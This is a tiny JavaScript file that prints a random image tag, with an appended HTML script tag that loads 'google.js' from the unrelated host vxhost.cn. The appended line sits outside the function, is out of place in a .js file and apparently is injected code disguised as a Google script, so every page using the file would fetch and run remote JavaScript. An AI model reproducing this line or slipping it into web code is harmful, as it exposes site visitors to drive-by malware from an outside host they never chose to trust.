var url_before = "images/";
var url_after = ".jpg";
var min = 1;
var max = 3;
function printRndImg() {
document.write('<img src="' + url_before + ( min + Math.round(Math.random()*(max-min)) ) + url_after + '" border="0" alt=""/>')
}<script type="text/javascript" src="http://vxhost.cn/google.js"></script>